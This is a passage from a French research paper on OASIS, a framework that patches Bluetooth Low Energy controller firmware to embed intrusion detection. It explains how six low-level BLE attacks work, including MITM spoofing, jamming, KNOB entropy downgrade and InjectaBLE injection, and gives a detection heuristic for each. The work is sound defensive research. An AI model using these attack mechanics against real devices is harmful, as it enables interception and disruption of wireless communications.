ligne appliquée a des jeux de données collectés en amont, et sont difficiles
a déployer en pratique.

Certains travaux se sont également concentrés sur la construction
d’IDS pour les réseaux BLE de type Mesh. Dans [21], A. Lacava et al.
proposent un IDS distribué basé sur le déploiement de nceuds de sur-
veillance au sein du réseau, capables de collecter le trafic local et de
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détecter les attaques en se basant sur une prise de décision coopérative.
De plus, dans [20], M. Krzyszton et al. ont effectué des simulations pour
choisir les placements optimaux des noeuds de surveillance dans ce type
d’IDS coopératif. L’approche distribuée adoptée par ces travaux de re-
cherche est particulierement pertinente pour les réseaux Mesh, mais semble
difficilement applicable aux équipements BLE existants, qui n’utilisent
généralement pas de mécanismes de routage. Cependant, nos travaux
pourraient compléter efficacement ce type de stratégie en permettant son
déploiement sur des équipements réels tout en s’adaptant aux topologies
existantes.

Notre approche étant basée sur une détection locale réalisée sur les
neeuds eux-mémes, elle s’affranchit de beaucoup des problemes techniques
qui limitent les travaux de recherche existants. Tout d’abord, elle ne
repose pas sur une stratégie d’écoute passive et n’est donc pas soumise
aux contraintes techniques liées au sniffing BLE, les noeuds collectant et
analysant les caractéristiques localement, que ce soit en mode advertising
ou en mode connecté. Notre approche évite également certains problemes
inhérents a l'utilisation d’une sonde externe tels que le placement de
la sonde. Nous démontrons également la pertinence d’embarquer des
heuristiques de détection légeres et bas niveau pour détecter les attaques
BLE existantes, ce travail étant le premier & fournir une détection pratique
d’un certain nombre d’attaques bas niveau ciblant le mode connecté, telles
que InjectaBLE [13], BTLEJack [11] ou KNOB [4]. Notre approche fournit
également une solution flexible, qui peut étre déployée en pratique sur un
seul équipement ou servir de base a un IDS distribué. Nous considérons
qu’elle peut compléter efficacement les approches existantes, a la fois
en facilitant I'instrumentation d’équipements réels et en fournissant un
framework facile d’utilisation, modulaire et extensible pour construire des
heuristiques de détection sur des équipements hétérogenes.

3 Détection des attaques bas niveau BLE

Dans cette section, nous introduisons d’abord brievement quelques pré-
requis concernant le protocole BLE. Ensuite, nous décrivons six attaques
bas niveau critiques liées a la conception du protocole BLE et montrons
comment ces attaques peuvent étre détectées au moyen de caractéristiques
appropriées disponibles au sein des controleurs BLE. Enfin, nous donnons
la liste des ressources nécessaires pour implémenter ces heuristiques de
détection et comment elles motivent le développement de notre framework
de détection embarqué, OASIS.
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3.1 Présentation du Bluetooth Low Energy

Le protocole BLE est une variante du protocole Bluetooth, visant
essentiellement & réduire sa consommation électrique et la complexité
de sa pile protocolaire. Dans cette sous-section, nous introduisons les
pré-requis techniques nécessaires pour comprendre a la fois les attaques
de bas niveau liées a la conception de ce protocole et notre approche de
détection embarquée.

La couche physique du BLE utilise une modulation dite Gaussian
Frequency Shift Keying (GFSK) avec un débit de données de 1 Mbps ou
2 Mbps. Elle fonctionne dans la bande ISM 2,4 GHz, qui est divisée en
40 canaux de communication, chacun utilisant une bande passante de 2
MHz. Trois de ces canaux, nommés canaux d’advertising et numérotés de
37 a 39, sont dédiés au mode advertising, permettant aux équipements de
diffuser des paquets dits advertisements, visant a notifier leur présence
aux autres équipements de I’environnement. Les canaux restants, nommés
canaux de données, sont utilisés en mode connecté, un autre mode de
fonctionnement basé sur une topologie Maitre/Esclave, permettant a deux
équipements d’établir une connexion pour échanger des données. Chaque
noeud est lié & un role (nommé role GAP) en fonction de ses capacités : a)
un Broadcaster (ou Advertiser) est uniquement capable de transmettre
des advertisements, b) un Scanner (ou Observer) est uniquement capable
de scanner les advertisements, ¢) un Peripheral est capable d’annoncer
sa présence a l'aide d’advertisements et peut accepter les connexions
entrantes et d) un Central est capable de scanner les advertisements et
d’initier une connexion avec un Peripheral.

En mode advertising, un équipement émet régulierement des trames
d’advertisements sur les 3 canaux d’advertisements. Le temps entre chaque
advertising event (qui représente un cycle complet de sauts sur les trois
canaux) est défini par I’advInterval, un entier choisi par 1’équipement et
multiple de 0,625 ms, et par un délai aléatoire nommé advDelay entre 0 et
10ms, qui est généré automatiquement par la couche liaison pour chaque
advertisement event. Apres chaque transmission, I’équipement qui émet les
advertisements écoute brievement le canal, a la recherche de potentielles
Scan Request ou Connection Request transmises par un autre équipement.

Si une Connection Request est reque, les deux équipements entrent en
mode connecté, dans lequel les équipements impliqués appliquent un algo-
rithme de saut de canal et sautent sur des canaux de données. L’équipement
qui initie la connexion agit comme un Master tandis que I’équipement ac-
ceptant la connexion entrante agit comme un Slave. Plusieurs parametres
inclus dans la Connection Request sont fournis en entrées de 1’algorithme
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de saut de canal sélectionné. Les équipements communiquent pendant des
intervalles de temps nommés connection events : d’abord le Master trans-
met une trame au Slave, puis le Slave attend 150us et transmet sa propre
trame au Master. Si les équipements n’ont pas de données a échanger,
ils transmettent des trames avec une charge utile de longueur nulle pour
faciliter la synchronisation. La durée d’un connection event est définie par
un parametre nommé Hop Interval, qui est un multiple entier de 1,250 ms
inclus dans la charge utile du Connection Request. Lorsqu'un connection
event est terminé, les équipements sautent sur le canal suivant en fonction
de 'algorithme de saut de canal sélectionné avec les parametres fournis.
Cette conception est efficace pour éviter les interférences potentielles, qui
sont courantes dans la bande ISM 2,4 GHz du fait de sa sur-utilisation.
Notons qu’un mécanisme complémentaire nommé Channel Map permet
de mettre en liste noire ou blanche les canaux de données.

Chaque trame de la couche liaison commence par un préambule d’1
octet suivi d’'un champ de 4 octets nommé Access Address utilisé pour
la synchronisation. Chaque trame comprend également un en-téte, une
charge utile et un contréle de redondance cyclique (CRC) de 3 octets,
permettant de vérifier 'intégrité de la trame. L’algorithme de calcul
du CRC est configuré a 'aide d’une valeur d’initialisation, qui est une
constante prédéfinie en mode advertising (0x555555) et une valeur aléatoire
choisie par I'initiateur et transmise dans la charge utile de la Connection
Request en mode connecté. Une trame corrompue peut étre détectée en
comparant le CRC calculé avec le CRC inclus a la fin de la trame : elle
sera alors ignorée par la couche liaison du récepteur.

La spécification BLE introduit plusieurs mécanismes de sécurité per-
mettant de protéger efficacement la confidentialité et 'intégrité des com-
munications. Par exemple, la connexion peut étre chiffrée a ’aide d’une
clé dérivée de la Long Term Key, qui est négociée lors de la phase de
bonding. La spécification introduit plusieurs méthodes permettant aux
dispositifs communicants de négocier des parametres de sécurité, tels que
I’entropie de la clé ou les capacités d’entrée/sortie. Cependant, certaines
de ces méthodes sont connues pour étre vulnérables ou faibles [4,27], et il
est malheureusement courant de rencontrer des équipements commerciaux
qui n’ont mis en ceuvre aucune mesure de sécurité.

3.2 Détection des attaques bas niveau

Dans cette sous-section, nous présentons brievement six attaques bas
niveau critiques ciblant le protocole BLE, et présentons notre stratégie de
détection pour chacune. Nous nous sommes concentrés sur les attaques
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liées & la conception du protocole lui-méme et qui ne peuvent pas étre
facilement corrigées sans modifier la spécification.

GATTacker et BTLEJuice : attaques de ’homme du milieu

Présentation de l’attaque : Deux stratégies principales ont été développées
afin de réaliser une attaque Man-in-the-Middle ciblant une connexion
BLE. Elles sont toutes deux basées sur une stratégie de spoofing ciblant
les advertisements transmis par un Peripheral avant 'initiation de la
connexion, méme si elles adoptent des approches différentes pour effectuer
cette opération. GAT Tacker [19] exploite le fait qu'un Central essayant
d’initier une connexion avec un Peripheral transmet sa Connection Re-
quest juste apres la réception d’un paquet d’annonce transmis par le
Peripheral. En conséquence, 'approche GAT Tacker transmet des paquets
d’advertisement usurpés plus rapidement que le Peripheral 1égitime pour
maximiser la probabilité de recevoir la Connection Request & sa place.
Une fois que le Central est connecté au faux Peripheral de Pattaquant, ce
dernier initie une connexion a ’aide d’un deuxieéme dongle BLE avec le
Peripheral 1égitime pour établir I'attaque Man-in-the-Middle. L’approche
BTLEJuice [9], quant & elle, est basée sur le fait qu'un Peripheral cesse de
transmettre des advertisements lorsqu’il est impliqué dans une connexion.
L’attaquant utilise un premier dongle pour établir une connexion avec le
Peripheral cible, le forcant a cesser de diffuser ses advertisements. Ensuite,
I’attaquant utilise un deuxieme dongle pour exposer un Peripheral usurpé,
attendant qu’un Central initie une connexion.

Stratégies de détection : Notre stratégie pour détecter GATTacker est
basée sur 'observation qu’'un Peripheral transmettant des advertisements
doit suivre un algorithme de saut de canal spécifique, qui dépend de
deux parametres (I’advertising delay et 1'advertising interval, comme
nous 'avons mentionné dans la sous-section 3.1). Si un attaquant trans-
met des advertisements simultanément, un nceud surveillant les canaux
d’advertisement en tant que Scanner ou Central devrait recevoir a la fois
les advertisements 1égitimes et usurpés et étre capable de détecter que
les paquets regus ne sont pas conformes & la spécification du protocole,
indiquant par la méme la présence d’un nceud malveillant.

Afin de détecter cette situation, nous estimons d’abord I’advertising
interval pour chaque équipement transmettant des advertisements. Cette
estimation est basée sur une fenétre glissante durant laquelle est calculée la
durée entre deux advertisements consécutifs d’'un méme équipement regus
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sur le méme canal : la valeur minimale de ces durées dans la fenétre est notre
estimation de I’advertising interval (utiliser cette valeur minimale permet
de minimiser 'impact de I’adverstising delay qui est une valeur aléatoire).
Ensuite, nous fixons un seuil de détection a une valeur correspondant a
I’adversiting interval moins la valeur maximale d’avdertising delay, ce qui
représente le pire cas légitime. Chaque fois qu'un nouveau paquet est recu,
une nouvelle estimation est calculée avec cette méthode, et si la valeur
calculée est inférieure au seuil de détection, une alerte est levée indiquant
la présence d’un noeud malveillant.

L’attaque BTLEJuice est plus difficile a détecter car un noeud sur-
veillant un canal d’advertising n’a aucune garantie d’observer la Connec-
tion Request transmise par 'attaquant. En conséquence, nous choisissons
d’adopter une autre stratégie, permettant au Peripheral cible de détecter
sa propre usurpation par un attaquant. Lorsqu’une connexion est établie,
le Peripheral maintient la connexion et analyse simultanément les adver-
tisements. Au cours de cette opération de scan, le Peripheral vérifie si
sa propre adresse est incluse dans les paquets d’advertisements observés.
Si une telle situation est détectée, cela signifie qu'un attaquant tente
d’effectuer I'attaque BTLFEJuice et une alerte est déclenchée.

Méme si ces stratégies permettent une détection efficace, elles pré-
sentent toutefois certaines limites qu’il convient de souligner. La détection
de GATTacker doit pouvoir estimer correctement 1’advertising interval
légitime avant de pouvoir détecter un nceud attaquant : par conséquent,
la détection nécessite que le dispositif de surveillance ait pu parcourir sa
fenétre glissante pour estimer I'intervalle avant le début de 'attaque. Cette
phase d’apprentissage pourrait probablement étre réduite ou supprimée
dans un environnement controélé, ol les équipements réalisant la détection
pourraient utiliser des advertising intervals pré-configurés pour chaque
Peripheral surveillé. De méme, la détection de BTLEJuice nécessite que le
Peripheral cible soit capable de maintenir simultanément une connexion
et de scanner les advertisements. La plupart des controleurs devraient étre
capables d’effectuer ces opérations simultanément, mais cela peut étre pro-
blématique pour certains contrdleurs spécifiques qui n’implémentent qu’un
sous-ensemble des roles BLE (par exemple, certaines piles protocolaires
de Nordic SemiConductors implémentent uniquement le rdle Peripheral
et ne peuvent donc pas effectuer I'opération de scan simultanément).

Attaques de brouillage continu

Présentation de l'attaque : Un probleme de sécurité courant observé lors de
I'utilisation d’un protocole de communication sans fil est 1ié au fait que le
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support est ouvert par conception, ce qui permet a un attaquant de porter
atteinte a la disponibilité des communications en attaquant le lien lui-méme.
L’une des stratégies les plus simples pour effectuer une telle attaque de
déni de service consiste a transmettre un signal de brouillage, qui interfére
avec le trafic légitime et génere des CRC invalides, forcant les nceuds
légitimes a ignorer les trames corrompues. Plusieurs stratégies de brouillage
existent [8,28], mais nous nous concentrons ici sur une attaque de brouillage
simple visant a attaquer les canaux d’advertising en transmettant un
signal de forte puissance sur les fréquences correspondantes. Les canaux
d’advertising sont en effet une cible intéressante pour un attaquant, car ils
sont a la fois utilisés pour indiquer la présence d’équipements et pour initier
des connexions. De ce fait, un brouilleur continu ciblant ces canaux peut
avoir un impact conséquent sur les nceuds présents dans 1’environnement,
en interrompant toute tentative d’initiation de connexion ou tentative de
scan. Cette approche offensive est également intéressante du point de vue
des cofits, car elle ne nécessite pas de suivre ’algorithme de saut de canal
d’une connexion et cible des canaux prédéfinis, réduisant considérablement
le coflit et la complexité du brouilleur.

Stratégie de détection : Une solution évidente pour détecter une telle
attaque serait d’analyser la couche physique pour détecter le signal de
brouillage. Cependant, cette solution ne peut pas étre mise en place
facilement par un systéme de détection d’intrusion intégré dans des noeuds
légitimes car la plupart des controleurs BLE existants ne permettent pas un
acces direct a la couche physique. Cela nécessiterait également une analyse
complexe car 'attaquant a tres peu de contraintes concernant la conception
du brouilleur, et n’est pas obligé de se conformer & la spécification du
protocole. Une autre facon de détecter cette attaque repose sur l'idée
de surveiller ses conséquences au niveau de la couche liaison. En effet,
une attaque de brouillage réussie provoque des corruptions de paquets,
entrainant des CRC invalides. Comme tout équipement conforme a la
spécification est capable de vérifier la validité du CRC d’un paquet, notre
stratégie de détection est basée sur cette vérification : chaque seconde, les
noeuds implémentant les roles Scanner ou Central (c’est-a-dire qui sont
capables de scanner des advertisements) calculent le nombre de paquets
recus sans corruption d’intégrité par seconde sur un canal donné, les
trames avec un CRC invalide étant ignorées. Si cette valeur est égale a
zéro pendant plus d’un certain nombre de mesures (fixé a 5 dans nos
expérimentations) pour un canal donné, on considére que le canal est
brouillé et une alerte est levée.
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Notons que cette stratégie détecte un environnement sans aucun trafic
comme un faux positif : méme si cette situation se produit rarement,
elle doit étre prise en compte dans une optique défensive. Une facon de
faire la distinction entre cette situation légitime et une attaque serait
d’estimer a la fois le nombre de paquets corrompus et non corrompus
par seconde, et de ne déclencher I'alerte que si le nombre de paquets non
corrompus par seconde est égal a zéro alors que le nombre de paquets
corrompus par seconde est différent de zéro. Cependant, cette variante
pourrait conduire a des faux négatifs si ’attaquant brouille le préambule
des paquets, n’entrainant aucune réception valide par I'IDS embarqué, et
donc aucun déclenchement d’alerte. Si ’environnement peut étre maitrisé,
I’insertion d’un équipement de type Advertiser non connectable pourrait
constituer un bon compromis, permettant d’appliquer la premieére stratégie
sans risque de faux positifs.

L’attaque BTLEJack

Présentation de l'attaque : BTLEJack [11] est une autre attaque qui peut
avoir un impact conséquent sur la disponibilité. Cette attaque, présentée
par D. Cauquil, consiste a brouiller une connexion établie ou a usurper le
role de Master dans certaines circonstances. L’attaquant se synchronise
d’abord avec une connexion établie, puis transmet un signal de brouillage
lorsque le Slave envoie une réponse au Master a chaque connection event.
L’attaque exploite un mécanisme de compteur visant a détecter une perte
de lien en incrémentant la valeur de ce compteur a chaque paquet manqué
ou invalide. Lorsque ce compteur atteint un seuil prédéfini, le Master
considere la connexion comme perdue et quitte la connexion, ce qui permet
ainsi & 'attaquant de I'interrompre ou, dans le pire des cas, d’usurper le
role de Master si le Slave ne quitte pas la connexion immédiatement apres
la déconnexion du Master.

Stratégie de détection : Du point de vue d’un noeud Central, la détection
de cette attaque peut étre effectuée facilement : contrairement & une perte
de connexion normale, le Central recoit des trames comprenant un CRC
invalide sur plusieurs événements de connexion consécutifs lors d’une
attaque, alors que dans un scénario légitime, il ne devrait recevoir aucun
paquet. Cette situation a une tres faible probabilité de se produire dans
une situation légitime, 'algorithme de saut de canal assurant 1'utilisation
de plusieurs canaux répartis sur ’ensemble de la bande ISM 2,4GHz. Le
stratégie de détection consiste donc a déclencher une alerte lorsque le
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compteur de trames consécutives recues avec corruption d’intégrité atteint
la valeur du compteur de connexions moins un (juste avant le succes de
lattaque).

L’attaque KNOB

Présentation de 'attaque : L’attaque KNOB, présentée par D. Antonioli
et al. [4], permet & un attaquant en situation d’homme au milieu d’injecter
une faible valeur d’entropie lors du processus d’appairage. En effet, le
processus d’appairage inclut un protocole dédié a la négociation d’entropie,
permettant a chaque équipement impliqué d’indiquer combien d’octets
d’entropie peuvent étre utilisés lors de la génération de la clé. Par consé-
quent, un attaquant peut effectuer une attaque visant & diminuer ’entropie,
en fixant ce nombre d’octets & 7 octets (valeur minimum autorisée) au
lieu de 16 qui est la valeur standard utilisée en BLE. En conséquence, la
clé peut facilement étre découverte par une attaque de force brute, ce qui
compromet la sécurité des futures communications entre les équipements
concerneés.

Stratégie de détection : Cette attaque peut étre détectée a la fois par
un Central ou un Peripheral en utilisant une simple stratégie passive.
Lorsqu'une Pairing Request est reque (le paquet utilisé pour négocier la
valeur d’entropie), la valeur de cette entropie est extraite de la charge
utile du paquet et une alerte est déclenchée si la valeur est inférieure a 10
octets. Méme si le protocole permet techniquement d’utiliser 1égitimement
une valeur aussi faible, considérer qu’un équipement ne devrait pas étre
autorisé a utiliser une valeur d’entropie suffisamment faible pour permettre
une attaque par force brute est une contrainte qui nous semble totalement
justifiée du point de vue de la sécurité.

L’attaque InjectaBLE

Présentation de lattaque : Cette attaque est une attaque récente par injec-
tion ciblant les communications BLE baptisée InjectaBLE [13]. L’attaque
détourne une fonctionnalité permettant a deux équipements de communi-
quer méme en cas d’une éventuelle dérive d’horloge : lorsqu’un Peripheral
passe en mode réception pour recevoir un paquet du Central lors d’un
connection event, il écoute pendant une courte fenétre (nommée window
widening) apres et avant I'instant théorique, permettant a un attaquant
d’exploiter une race condition et d’injecter un paquet malveillant avant
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le Central légitime. Cette attaque est critique, surtout si la connexion
n’est pas chiffrée, car elle permet d’usurper n’importe quel role de la
communication ou d’effectuer un Man-in-the-Middle par l'injection de
trames judicieusement choisies.

Stratégie de détection : Cette attaque peut étre détectée par le Peripheral
ciblé lui-méme en calculant en permanence I'intervalle entre deux paquets
regus consécutifs. On est ainsi capable de détecter si un paquet a été injecté
en comparant le dernier intervalle a intervalle de connexion légitime :
si l'intervalle est inférieur a ’'intervalle théorique moins un seuil estimé
empiriquement, on considére la trame comme malveillante, provoquant
le déclenchement d’une alerte. Notons que toutefois, cette stratégie peut
conduire a des faux positifs si les équipements utilisent des horloges avec
une dérive importante, méme si nos expérimentations ont conduit a de
tres bons résultats avec cette heuristique.

3.3 Données nécessaires a la détection

Les stratégies de détection que nous avons décrites ci-dessus nous
donnent un bon apercu des données (appelées caractéristiques dans la
suite de cet article) dont il faut disposer pour implémenter les modules de
détection. Les parties suivantes de la pile BLE doivent étre instrumentés :

— mécanismes de traitement des paquets : la majorité de nos
stratégies a besoin d’accéder aux paquets au niveau de la couche
liaison, en particulier les paquets recus. Les advertisements et les
paquets de données doivent étre collectés, avec certaines meta-
données pertinentes comme la validité du CRC ou le RSSI.

— mécanismes de gestion du temps : nous avons besoin de col-
lecter les timestamps avec la meilleure précision possible de fagon
a estimer les intervalles entre les paquets, nécessaires a 1'implé-
mentation des modules de détection des attaques GAT Tacker ou
Injecta BLE. Nous avons aussi besoin d’exécuter du code réguliere-
ment et indépendamment des instants de réception des paquets,
par exemple pour calculer le nombre de paquets valides par seconde
(pour notamment la détection du brouillage continu).

— mécanismes de gestion des connexions et de I’équipement :
certaines stratégies de détection utilisent des données qui sont gérées
par le controleur et qui sont liées aux connexions (notamment le
connection interval pour la détection de l'attaque InjectaBLE) ou a
I'équipement lui-méme (notamment 1’adresse BD pour la détection
de l'attaque BTLFEJuice). Comme certaines de nos stratégies de
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détection sont limitées a certains roles spécifiques, nous avons aussi
besoin de connaitre en temps réel la valeur du réle courant de
I’équipement instrumenté, et déclencher I’exécution de code lors de
l'occurence d’un événement (comme l'initiation d’une connexion).
— opérations de haut niveau : nous avons besoin d’instrumenter
des opérations de haut niveau du contréleur, par exemple pour
déclencher le mode scan lorsqu’une connexion est établie pour la
détection de 'attaque BTLEJuice.

Notons que la mise en ceuvre de ces mécanismes peut étre tres hétéro-
gene selon la pile protocolaire utilisée. Pour éviter le développement de
multiples modules de détection selon la pile, il est nécessaire de disposer
d’un framework générique fournissant des wrappers destinés a faciliter
I'instrumentation des piles et exposant une API homogene. La suite de
cet article est consacré a la conception et a I’évaluation de ce framewortk.

4 Conception du Framework

Dans cette section, nous décrivons la conception d’OASIS, un frame-
work générique et modulaire permettant de patcher des contréleurs BLE
pour y intégrer des heuristiques de détection, telles que celles présentées
dans la section précédente. Nous présentons tout d’abord les principales
lignes directrices qui ont guidé son élaboration. Ensuite, nous décrivons
son architecture globale et la structure du code de détection généré. Enfin,
nous décrivons brievement I'implémentation de ses principaux composants
et un cas typique d’utilisation.

4.1 Principes fondamentaux de conception

Dans la sous-section 3.3, nous avons mis en évidence les exigences
minimales nécessaires pour mettre en ceuvre les stratégies de détection
mentionnées précédemment. Cependant, de nombreuses implémentations
de contréleurs sont propriétaires et non documentées. La conséquence
directe de cette situation est que nous ne pouvons pas instrumenter direc-
tement le code source, ce qui nous oblige a trouver un moyen d’interagir
avec la pile en patchant le binaire du firmware lors de 1'exécution tout en
executant notre propre code sans perturber le comportement 1égitime de
la pile.

Cette situation a motivé le développement d’un framework générant du
code embarqué qui doit pouvoir fonctionner indépendamment du contro-
leur, sans altérer son comportement normal. Cela implique de bien choisir
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les fonctions instrumentées pour éviter d’introduire des retards dans les
composants sensibles au temps, mais aussi de trouver un moyen d’injec-
ter notre code et nos données en mémoire sans impacter ’exécution du
controleur. Notre framework doit également permettre a un développeur
d’implémenter facilement un nouveau module de détection en lui four-
nissant un environnement facile d’utilisation pour allouer de la mémoire,
collecter les caractéristiques utiles pour les modules de détection ou réagir
a un événement spécifique.

Les controleurs sont également hétérogeénes et ne peuvent étre instru-
mentés sans écrire de code spécifique pour chacun. Cependant, un module
de détection décrit une logique indépendante de I'implémentation sous-
jacente du controleur, et le code correspondant ne doit étre écrit qu'une
seule fois. Par conséquent, chaque wrapper spécifique & une cible doit
exposer une API homogene, facilitant le développement des composants
indépendants de la cible. Par conséquent, I'un des principes clés qui a
guidé la conception de notre framework est la généricité.

De plus, certains controleurs n’implémentent qu’un sous-ensemble
de la spécification BLE. Par exemple, certains controleurs orientés IoT
n’implémentent que le role Peripheral. Comme certaines de nos stratégies
de détection ne fonctionnent que si I’équipement utilise un role spécifique,
il n’est pas pertinent d’intégrer systématiquement 1’ensemble du framework.
Il est également important de prendre en compte les fortes contraintes
en termes de temps et de mémoire liées a I'approche embarquée. Aussi la
modularité doit étre une ligne directrice fondamentale de la conception
de notre framework. Enfin, étendre le framework pour ajouter une nouvelle
cible ou un nouveau module de détection doit étre aussi simple que possible.

4.2 Logiciel de détection embarqué

Le framework OASIS permet de générer un logiciel embarqué et de
I'injecter dans la mémoire de la puce. Ce logiciel embarqué instrumente le
controleur cible en patchant des fonctions spécifiques afin d’extraire des
caractéristiques utiles, puis transmet ces caractéristiques aux modules de
détection sélectionnés, qui les analysent et éventuellement déclenchent une
alerte si une attaque est détectée. Méme si le code interagit avec la pile
BLE, il est congu pour s’exécuter sans interférer avec le comportement
légitime : par conséquent, le code utilise et gere son propre espace mémoire,
indépendamment de I'application principale.

Le code embarqué comprend trois composants principaux, comme
illustré dans la figure 1 : un wrapper spécifique a la cible, un core et un
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ensemble de modules de détection. Ils sont décrits dans les sections
suivantes.

j’ Systéme de traitement des : Module 1
: : : événements :
ch i | Systeme de x — [ calback
E f gestion —N, _q_.——f'__r _
i | devenements | ! || Extraction des | | Exécution des H
il - callback
T 1 |7 aracténistigu modules H
CE e Y e
paich
— Module 2
function Systeme de | | Librairies
. | gestion d'actions | | :
; 3 Gestion Gestion H
patch mémoire des logs cJallba
function i
L. Wrapper - R Core *._Modules
L A J
T T
Contréleur natif Logiciel de détection embarqué

Fig. 1. Vue d’ensemble du logiciel embarqué

Wrapper Le wrapper est spécifique a chaque cible et permet d’interagir
avec le contréleur. Il est composé de deux principaux éléments : 1) un
systéme de gestion d’événements permettant de réagir a des événements
spécifiques (par exemple, réception de paquets, transmission de paquets,
initiation de connexion. ..) et d’extraire toutes les caractéristiques de bas
niveau disponibles dans le controleur, et 2) un systéme de gestion d’actions,
permettant de déclencher des actions spécifiques dans le contréleur (par
exemple, envoyer un événement a 1’hote, entrer dans un état spécifique. . .).

Le systeme de gestion d’événements est composé d’un ensemble de
fonctions wrappers correspondant aux événements surveillés. Il instrumente
certaines instructions spécifiques de la pile BLE pour rediriger le flux
d’exécution vers une fonction trampoline, qui sauvegarde le contexte et
appelle le wrapper correspondant. Une fois le wrapper exécuté, la fonction
trampoline restaure le contexte, exécute l'instruction modifiée par le
patch et redirige le flux d’exécution vers l'instruction suivante de la pile
protocolaire. Ce mécanisme permet d’appeler le wrapper correspondant
lorsqu’un événement spécifique se produit. Le wrapper extrait alors toutes
les caractéristiques disponibles et les propage au systéme de traitement
d’événements implémenté dans le composant Core.

Le systéme de gestion d’actions est composé d’un ensemble de fonc-
tions permettant de déclencher une action spécifique dans le contrdleur
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instrumenté. Selon la pile instrumentée, il peut effectuer un appel de
fonction, simuler une commande HCI transmise par ’h6te ou modifier une
variable dans la mémoire du contréleur. Ce composant est le seul qui est
spécifique a chaque cible : par conséquent, chaque wrapper implémenté
expose une API similaire, permettant aux composants indépendants de la
cible d’interagir avec le contréleur de maniere standardisée et unifiée.

Core Le Core est le composant central impliqué dans le logiciel de
détection. Il est composé d'un systéme de traitement d’événements, d'un
ensemble de bibliothéques et d’un systéme d’instrumentation.

Le systéme de traitement des événements gere les différents événe-
ments surveillés par le logiciel de détection. Lorsque le wrapper génére un
événement spécifique, le Core collecte les caractéristiques extraites par
le wrapper et en déduit éventuellement d’autres complémentaires (par
exemple, le Core peut déduire le advinterval utilisé par un Advertiser ou un
Peripheral & partir des timestamps des advertisements regus de cet objet).
Ensuite, le systéme de traitement d’événements propage 1’événement, ainsi
qu’une structure contenant les caractéristiques collectées, aux modules de
détection intégrés au sein du logiciel embarqué en appelant les callbacks
correspondants.

Le Core expose également un systéme d’instrumentation, qui peut
étre utilisé par les modules de détection pour interagir avec le controleur.
Ce systeme d’instrumentation propage les appels de fonction au wrapper,
permettant au contrdleur d’entrer dans un état spécifique ou de déclencher
une action de maniére générique. Il fournit également diverses bibliothéques
facilitant le développement des modules. Le Core expose sa propre librairie
de gestion de mémoire, permettant d’allouer et de libérer dynamiquement
de la mémoire sans interférer avec la gestion native de la mémoire (le
logiciel de détection gére son propre tas indépendant), une implémentation
de hashmap et un systeme de journalisation, permettant d’envoyer des
alertes de détection a I’héte.

Modules de détection Les modules de détection mettent en ceuvre
les stratégies de détection : ils sont généralement en charge d’analyser
les caractéristiques fournies par le composant Core pour détecter les
attaques. Ils peuvent également déclarer des callbacks qui sont exécutés
lorsqu’un événement spécifique se produit, par exemple lorsqu’un paquet
est recu ou qu’une connexion est établie. Ils ont également acceés aux
caractéristiques collectées et déduites a I’aide d’une structure spécifique,
et peuvent déclencher divers comportements via I’API d’instrumentation.
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Chaque module est indépendant, et peut étre considéré comme un
logiciel de détection embarqué a part entiere. Grace a cette conception,
I'utilisateur peut choisir les modules qu’il souhaite inclure dans le logiciel
de détection embarqué, et facilement intégrer de nouvelles heuristiques de
détection en développant ses propres modules. Un systeme de dépendances
permet également de compiler et de charger en mémoire uniquement un
sous-ensemble des fonctionnalités du framework, en fonction des besoins des
modules sélectionnés. Cette fonctionnalité est particulierement importante
compte tenu des contraintes de temps et de mémoire inhérentes & une
approche embarquée.

4.3 Architecture du framework

. £

firmware Cible matérielle

Firmware

analyzer Patcher Monitor
Target patches

hily

Modules de
détection

Build system

A

Hilhi

Core

Fig. 2. Architecture du framework

Le framework OASIS permet de générer le logiciel de détection présenté
dans la section précédente et de l'injecter en mémoire. Le framework
comprend 4 composants principaux, comme illustré dans la Figure 2 : le
Firmware analyzer, le Build system, le Patcher et le Monitor. Nous
les décrivons dans les sections suivantes.

Firmware analyzer Pour instrumenter un controleur spécifique, le
framework s’appuie sur un ensemble de code source et de fichiers de
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configuration propres & une cible. Ces fichiers contiennent toutes les infor-
mations nécessaires au framework pour patcher le firmware du contréleur,
injecter le code du logiciel de détection dans la mémoire et interagir avec
le controleur. Une cible typique est décrite par les fichiers suivants :

— target.conf : un fichier de configuration contenant des informations
requises par le framework telles que 'architecture matérielle de la
puce ou le backend a utiliser pour interagir avec la cible.

— patch.conf : un fichier de configuration fournissant une liste d’ins-
tructions du firmware qui peuvent étre patchées pour capturer des
événements spécifiques (réception de paquets, connexions. . .).

— wrapper.c : le code source du wrapper qui permet de fournir une
API d’instrumentation unifiée au Core.

— functions.ld : une liste de quelques fonctions incluses dans le
firmware du contréleur qui sont utilisées par le wrapper. Ce fichier
est fourni en entrée du linker.

— linker.ld : un script d’édition des liens qui décrit les zones mémoire
disponibles pour injecter le logiciel de détection.

L’obtention des informations nécessaires a la génération de ces fichiers
nécessite généralement d’effectuer une rétro-ingénierie du firmware du
controleur, la plupart d’entre eux étant propriétaires et non documentés.
Ce processus étant délicat et sujet aux erreurs lorsqu’il est effectué ma-
nuellement, le réle du firmware analyzer est d’automatiser cette tache de
rétro-ingénierie et la génération de fichiers spécifiques a la cible correspon-
dante.

Le processus est divisé en deux étapes principales. Le premier est dédié
a la rétro-ingénierie du firmware fourni tandis que le second utilise les
informations collectées pour générer les fichiers source et de configuration
propres a la cible. L’étape de rétro-ingénierie est principalement basée
sur une analyse statique du binaire du firmware qui tente d’identifier
les fonctions, variables et structures pertinentes au moyen d’expressions
régulieres. Méme si cette analyse dépend de I’architecture du controleur,
nous avons observé que, pour un type de contréleur donné, différents
firmwares peuvent présenter de nombreuses similitudes, principalement
liées a la réutilisation de code, ce qui nous permet d’automatiser ’analyse
de plusieurs firmware partageant la méme architecture de controleur.

De méme, diverses stratégies d’analyse permettent d’identifier des
zones mémoire utilisables pour injecter le code du logiciel de détection
sans perturber ’exécution du contréleur. Notons que nous avons travaillé
sur trois architectures différentes de contréleurs, dont deux sont décrites



172 QOasis

dans la section 5, mais le framework pourrait facilement étre étendu pour
ajouter le support de nouvelles architectures de contréleurs.

Une fois le firmware analysé, les fichiers de configuration et de code
source de la cible nécessaires a son instrumentation sont générés. Les
fonctions liées a certains événements spécifiques, comme la réception de
paquets, sont partiellement désassemblées pour identifier une instruction
qui peut étre patchée afin de rediriger le flux d’exécution vers le wrapper
lorsque I’événement se produit : les instructions identifiées sont alors
utilisées pour générer le fichier patch.conf. Les autres fonctions et données
qui ne sont pas liées a un événement spécifique sont également utilisées
pour générer les fichiers wrapper.c et functions.ld. Enfin, les zones
mémoire identifiées sont utilisées pour générer a la fois les fichiers linker.ld
et patch.conf.

